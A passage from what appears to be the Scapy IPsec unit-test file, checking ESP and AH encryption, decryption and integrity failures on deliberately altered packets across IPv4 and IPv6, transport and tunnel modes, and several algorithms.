assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en=True, esn=0x200) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en=True, esn=0x200) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv6 / ESP ####################################### = IPv6 / ESP - Transport - NULL - NULL ~ -crypto p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - AES-CBC - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-GCM - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - AES-GCM - NULL - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-CCM - NULL ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - AES-CCM - NULL - altered packet ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - NULL - NULL ~ -crypto p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - AES-CBC - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-GCM - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - AES-GCM - NULL - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-CCM - NULL ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - AES-CCM - NULL - altered packet ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### ############################################################################### + IPv6 / AH ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / AH - Transport - SHA2-256-128 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / AH - Transport - SHA2-256-128 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi 